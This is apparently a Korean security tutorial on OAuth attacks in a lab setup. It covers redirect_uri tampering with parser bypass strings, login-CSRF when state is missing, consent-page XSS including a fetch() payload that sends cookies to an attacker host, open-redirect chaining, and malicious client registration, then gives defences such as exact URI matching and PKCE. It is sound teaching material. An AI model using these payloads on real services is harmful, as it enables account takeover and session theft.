OAuth Authentication Vulnerabilities
웹 서비스에서 "소셜 로그인"을 구현할 때 사용하는 OAuth 프로토콜은 구현 실수 하나로 계정 탈취, 권한 우회가 일어난다. 이 글에서는 OAuth 취약점 5가지를 단계별로 분류한 뒤 분석한다.
실습 시나리오
글 전체에서 아래 가상 환경을 기준으로 설명한다.
| 역할 | 도메인 (IP 주소) | 설명 |
|---|---|---|
| Authorization Server | devvault.io (192.168.253.1:5000) |
개발자 계정 플랫폼. 로그인·토큰 발급 담당 |
| OAuth Client | codecraft.io (192.168.253.1:5001) |
개발자 강의 서비스. "devvault로 로그인" 기능 제공 |
| 공격자 서버 | pwn.io (192.168.253.1:5002) |
수신된 모든 요청을 /log에 기록 |
OAuth 흐름 이해
공격을 이해하려면 정상 흐름부터 파악해야 한다.
Authorization Code Grant
가장 널리 쓰이는 방식이다. 토큰이 브라우저를 거치지 않는다는 점이 핵심이다.

① 권한 부여 요청 — codecraft.io가 브라우저를 devvault.io로 리디렉션
사용자가 "devvault로 로그인" 버튼을 클릭하면 브라우저가 아래 URL로 이동한다.
GET /oauth/authorize
?client_id=codecraft_app_291
&redirect_uri=https://codecraft.io/auth/callback
&response_type=code
&scope=profile%20email
&state=f8a3c91b0e724d55
Host: devvault.io
각 파라미터의 역할과 공격 포인트:
| 파라미터 | 역할 | 공격 포인트 |
|---|---|---|
client_id |
클라이언트 식별자 (공개값) | 없음 |
redirect_uri |
인증 후 이동할 URL | 핵심 공격 대상 |
response_type |
code 고정 |
- |
scope |
요청할 권한 범위 | XSS 페이로드 삽입 테스트 |
state |
CSRF 방지 난수 | 누락 시 Login-CSRF 발생 |
② 사용자 로그인 & 권한 동의 — 사용자 → devvault.io
devvault.io가 로그인 화면을 보여준다. 사용자가 자격증명을 입력하고 "권한 허용"을 누른다. codecraft.io는 이 단계에 관여하지 않는다. devvault.io와 사용자 사이에서만 일어난다.
③ code 전달 — devvault.io가 브라우저를 redirect_uri로 리디렉션
로그인 성공 후 devvault.io가 HTTP 302로 브라우저를 redirect_uri로 보낸다. code가 쿼리 파라미터에 실린다.
GET /auth/callback?code=7xKp2mNqRs9vTyWz&state=f8a3c91b0e724d55
Host: codecraft.io
code는 일회용 단기 토큰이다. 브라우저를 경유하지만 그 자체로는 리소스에 접근할 수 없고, client_secret과 함께 교환해야 access_token이 된다.
④ 토큰 교환 — codecraft.io 서버 → devvault.io 서버 (백채널)
브라우저가 /auth/callback에 도착하면 codecraft.io 서버가 devvault.io에 직접 요청한다. 브라우저를 거치지 않는다.
POST /oauth/token HTTP/1.1
Host: devvault.io
grant_type=authorization_code
&code=7xKp2mNqRs9vTyWz
&redirect_uri=https://codecraft.io/auth/callback
&client_id=codecraft_app_291
&client_secret=cs_sk_f3a9b1c04d2e7891
⑤ access_token 발급
{ "access_token": "dvt_acc_4Kp9mRs2TvNxQyWz", "expires_in": 3600 }
Implicit Grant (사용 금지)
code 교환 없이 URL 프래그먼트(#)에 토큰을 바로 담아 전달하는 구형 방식이다.
GET /auth/callback#access_token=dvt_acc_4Kp9mRs2TvNxQyWz&token_type=Bearer
Host: codecraft.io
# 뒤의 값은 브라우저 히스토리, Referer 헤더, 서버 로그에 그대로 남는다. OAuth 2.1에서 공식 제거됐다.
공격 1: redirect_uri 조작 → Authorization Code 탈취
취약점 원리
redirect_uri를 느슨하게 검증하면, 공격자가 이 값을 자신의 서버로 바꿔 피해자의 code를 가로챌 수 있다.
정상 요청에서 redirect_uri는 codecraft.io의 callback 주소다.
&redirect_uri=http://192.168.253.1:5001/callback ← 원래 값
&redirect_uri=http://192.168.253.1:5002/steal ← 공격자가 바꾼 값
devvault.io(C1)는 이 값을 검증하지 않기 때문에 어떤 주소로든 리디렉션된다.
Step 1 — 변조된 링크 생성
공격자는 redirect_uri만 바꾼 권한 부여 URL을 만든다.
http://192.168.253.1:5000/c1/auth
?client_id=codecraft_app_291
&redirect_uri=http://192.168.253.1:5002/steal
&response_type=code
&scope=profile

이 URL을 피해자에게 전달한다. 피해자 입장에서 열면 평범한 devvault.io 로그인 화면이 뜬다.
Step 2 — 피해자 로그인 (브라우저로 확인)
위 URL을 브라우저에서 열고 alice / password123으로 로그인하면, devvault.io가 아래 주소로 리디렉션한다.
http://192.168.253.1:5002/steal?code=<발급된_code>

브라우저가 codecraft.io가 아닌 pwn.io로 이동하면서 code가 노출된다.
Step 3 — 탈취된 code 확인
curl http://192.168.253.1:5002/log
{
"total": 5,
"captured_codes": [
{
"id": 2,
"time": "2026-06-22T14:40:51.759Z",
"method": "GET",
"path": "/steal",
"query": {
"code": "b446ca52dee8b69d3d15f214fa3115bb"
},
"referer": "http://192.168.253.1:5000/"
}
]
}
Step 4 — code → access_token 교환
code를 확보한 공격자가 직접 토큰 교환 요청을 보낸다.
curl -s -X POST http://192.168.253.1:5000/oauth/token \
-d "grant_type=authorization_code" \
-d "code=930fb94c5a0b8f09e4970d28f6a0da095296c4d670c59fac" \
-d "redirect_uri=http://192.168.253.1:5002/steal" \
-d "client_id=codecraft_app_291" \
-d "client_secret=cs_sk_f3a9b1c04d2e7891"
{"access_token":"930fb94c5a0b8f09e4970d28f6a0da095296c4d670c59fac","token_type":"Bearer","expires_in":3600}
Step 5 — 피해자 계정으로 API 호출
curl http://192.168.253.1:5000/api/profile \
-H "Authorization: Bearer 930fb94c5a0b8f09e4970d28f6a0da095296c4d670c59fac"
{"username":"alice","email":"alice@devvault.io","id":1001,"plan":"pro"}
alice의 비밀번호도, 2FA도 없이 계정 정보를 획득했다.
검증 우회 기법
서버가 redirect_uri를 codecraft.io 도메인만 허용하더라도, 파서 차이를 이용해 우회할 수 있다.
# 서브도메인처럼 오판 유도
redirect_uri=https://codecraft.io.pwn.io/steal
# @ 앞을 자격증명으로 처리하는 파서 이용
redirect_uri=https://pwn.io@codecraft.io/steal
# URL 프래그먼트 추가 (서버 검증은 통과, 브라우저는 pwn.io로 이동)
redirect_uri=https://codecraft.io/callback#https://pwn.io/steal
# 쿼리 파라미터 중첩
redirect_uri=https://pwn.io/steal?dummy=https://codecraft.io
서버의 검증 로직과 브라우저의 URL 해석 방식이 달라지는 지점을 노린다.
공격 2: state 누락 → Login-CSRF
취약점 원리
state 파라미터는 선택 사항이지만, 없으면 OAuth callback 엔드포인트가 CSRF에 노출된다. 이를 Login-CSRF라고 한다. 피해자가 자신도 모르게 공격자의 계정으로 로그인되는 공격이다.
왜 위험한가: 피해자가 공격자 계정에 로그인된 상태로 신용카드를 등록하거나 파일을 업로드하면, 그 데이터가 공격자 손에 들어간다.
Step 1 — 공격자 계정으로 code 발급
공격자가 자신의 계정(attacker / attacker123)으로 OAuth 흐름을 시작해 code를 발급받는다. 단, 토큰 교환은 하지 않고 code만 가로챈다.
curl -s -D - -o /dev/null -X POST http://192.168.253.1:5000/c2/auth \
-d "client_id=codecraft_app_291" \
-d "redirect_uri=http://192.168.253.1:5001/callback" \
-d "scope=profile" \
-d "username=attacker" \
-d "password=attacker123" \
| grep -i "location:"
Location: http://192.168.253.1:5001/callback?code=2229a54a471f122f3235cf3324249891
Step 2 — 피해자에게 악성 URL 전달
공격자가 위에서 받은 code를 담은 callback URL을 피해자에게 보낸다.
http://192.168.253.1:5001/callback?code=2229a54a471f122f3235cf3324249891
피해자가 이 URL을 클릭하면 codecraft.io가 공격자의 code로 토큰 교환을 수행한다. 피해자 세션이 공격자 계정(attacker)에 연결된다.
Step 3 — 결과 확인
브라우저에서 피해자가 해당 URL을 방문한 뒤 http://192.168.253.1:5001을 확인하면 attacker 계정으로 로그인된 상태가 표시된다.
사용자명: attacker
이메일: attacker@devvault.io

state가 막는 방법
OAuth 흐름 시작 시 state 난수를 세션 쿠키에 저장하고, callback 수신 시 비교한다.
[정상] 쿠키 state=f8a3c91b0e724d55 ↔ URL state=f8a3c91b0e724d55 → 일치 → 처리
[공격] 쿠키 state=f8a3c91b0e724d55 ↔ URL state 없음 또는 다른 값 → 불일치 → 거부
공격자는 피해자의 쿠키를 알 수 없으므로 올바른 state를 위조할 수 없다.
공격 3: OAuth 동의 페이지 XSS
취약점 원리
권한 부여 요청의 파라미터(scope, state, client_id)가 동의 화면이나 오류 페이지에 이스케이프 없이 출력되면 Reflected XSS가 발생한다. devvault.io(C3)는 scope 값을 HTML에 그대로 삽입한다.
Step 1 — 취약 여부 확인 (curl)
curl -s "http://192.168.253.1:5000/c3/auth\
?client_id=codecraft_app_291\
&redirect_uri=http://192.168.253.1:5001/callback\
&response_type=code\
&scope=<script>alert(1)</script>" \
| grep -A1 "scope-box"
<div class="scope-box"><script>alert(1)</script></div>
페이로드가 이스케이프 없이 HTML에 삽입된 것을 확인할 수 있다.
Step 2 — 브라우저로 직접 확인
아래 URL을 브라우저에서 열면 동의 화면이 로드되는 순간 alert 팝업이 뜬다.
http://192.168.253.1:5000/c3/auth?client_id=codecraft_app_291&redirect_uri=http://192.168.253.1:5001/callback&response_type=code&scope=<img src=x onerror=alert(document.cookie)>

Step 3 — 실전 쿠키 탈취 시나리오
단순 alert 대신 pwn.io로 쿠키를 전송하는 페이로드를 사용한다.
scope=<script>fetch('http://192.168.253.1:5002/steal?c='+document.cookie)</script>
피해자가 이 URL을 열면 devvault.io의 세션 쿠키가 pwn.io로 전송된다.
# 수신 확인
curl http://192.168.253.1:5002/log
{"total":6,"captured_codes":[{"id":2,"time":"2026-06-22T14:40:51.759Z","method":"GET","path":"/steal","query":{"code":"b446ca52dee8b69d3d15f214fa3115bb"},"referer":"http://192.168.253.1:5000/"}]}
OAuth 동의 페이지의 XSS는 단순 XSS보다 위험하다. 피해자가 로그인 동의 버튼을 클릭하는 순간 스크립트가 실행되면서 세션 쿠키와 OAuth 흐름이 동시에 탈취된다.
공격 4: Open Redirect + redirect_uri 체이닝
취약점 원리
redirect_uri 검증이 도메인 단위로만 이루어지고, 허용된 도메인 내에 Open Redirect가 존재하면 두 취약점을 연결(체이닝)해 code를 탈취할 수 있다.
devvault.io(C4)는 redirect_uri가 http://192.168.253.1:5001로 시작해야 한다고 검증한다. 직접 pwn.io를 넣으면 막힌다. 하지만 codecraft.io에 /go?url= Open Redirect가 있다.
Step 1 — 직접 공격이 막히는 것 확인
curl -s "http://192.168.253.1:5000/c4/auth\
?client_id=codecraft_app_291\
&redirect_uri=http://192.168.253.1:5002/steal\
&response_type=code\
&scope=profile"
오류: 허용되지 않은 redirect_uri
redirect_uri는 http://192.168.253.1:5001 로 시작해야 합니다.
Step 2 — 체이닝 redirect_uri 구성
codecraft.io의 /go 엔드포인트를 경유지로 사용한다.
redirect_uri = http://192.168.253.1:5001/go?url=http://192.168.253.1:5002/steal
이 값은 http://192.168.253.1:5001로 시작하므로 devvault.io 검증을 통과한다.
Step 3 — 체이닝 공격 실행 (브라우저)
아래 URL을 브라우저에서 열고 alice / password123으로 로그인한다.
http://192.168.253.1:5000/c4/auth?client_id=codecraft_app_291&redirect_uri=http://192.168.253.1:5001/go?url=http://192.168.253.1:5002/steal&response_type=code&scope=profile
리디렉션 체인:
devvault.io → codecraft.io/go?url=pwn.io/steal&code=XYZ
→ codecraft.io/go가 pwn.io/steal?code=XYZ 로 전달
→ pwn.io가 code 수신
Step 4 — 탈취된 code 확인 및 토큰 교환
curl http://192.168.253.1:5002/log
# → code 확인
curl -s -X POST http://192.168.253.1:5000/oauth/token \
-d "grant_type=authorization_code" \
-d "code=<확인한_code>" \
-d "redirect_uri=http://192.168.253.1:5001/go?url=http://192.168.253.1:5002/steal" \
-d "client_id=codecraft_app_291" \
-d "client_secret=cs_sk_f3a9b1c04d2e7891"
redirect_uri 검증이 있어도 도메인 내부의 Open Redirect 하나가 우회로가 된다.
공격 5: 악성 OAuth 클라이언트 등록
취약점 원리
플랫폼이 외부 앱의 OAuth 클라이언트 등록을 허용할 때, 공격자가 과도한 scope를 요청하는 악성 앱을 만들어 피해자를 유인할 수 있다.
공격 방법
정상 앱 동의 화면: "codecraft.io가 프로필·이메일 읽기 권한을 요청합니다"
악성 앱 동의 화면: "devtools-helper가 프로필·이메일·저장소 쓰기 권한을 요청합니다"
피해자가 동의하면 공격자 앱이 access_token을 획득한다. 서버가 aud(audience) 클레임을 검증하지 않으면 이 토큰을 다른 서비스에서도 재사용할 수 있다.
실전 확인 포인트
- 써드파티 앱 연동 페이지에서 요청 scope가 필요 이상으로 넓은지 확인
- 앱 이름이 공식 앱처럼 위장하지 않는지 확인 (타이포스쿼팅)
- 연동 해제 후에도 발급된 토큰이 유효한지 확인
대응 방안
redirect_uri — 완전 일치 검증
접두사·와일드카드 검증은 우회된다. 등록된 값과 정확히 일치해야만 허용해야 한다.
REGISTERED_URIS = {
"codecraft_app_291": [
"https://codecraft.io/auth/callback",
"https://codecraft.io/oauth/return"
]
}
def validate_redirect_uri(client_id: str, uri: str) -> bool:
allowed = REGISTERED_URIS.get(client_id, [])
return uri in allowed # 완전 일치만 허용
state — 세션 바인딩
import secrets
def start_oauth(session):
state = secrets.token_hex(16)
session["pending_oauth_state"] = state
return state
def handle_callback(request, session):
expected = session.pop("pending_oauth_state", None)
received = request.args.get("state")
if not expected or expected != received:
abort(403)
# 이후 code 교환 진행
PKCE — 모바일·SPA 환경
client_secret을 안전하게 보관할 수 없는 환경에서 사용한다. code가 탈취돼도 토큰 교환이 불가능해진다.
# 1. code_verifier 생성 (랜덤 문자열)
CODE_VERIFIER=$(openssl rand -base64 32 | tr -d '=+/' | cut -c1-43)
# 2. code_challenge = BASE64URL(SHA256(code_verifier))
CODE_CHALLENGE=$(printf '%s' "$CODE_VERIFIER" \
| openssl dgst -sha256 -binary \
| openssl base64 | tr '+/' '-_' | tr -d '=')
# 3. 권한 부여 요청에 포함
# ?code_challenge=XXX&code_challenge_method=S256
# 4. 토큰 교환 시 code_verifier 함께 전송 → 서버가 검증
기타 체크리스트
- Implicit Grant 비활성화 (
allowedGrantTypes: ['authorization_code']) - scope 최소 권한 원칙 적용
- 동의 화면 출력값 HTML 이스케이프 처리
- 연동 해제 시 발급된 토큰도 즉시 무효화
Comments
Sign in with GitHub to leave a comment.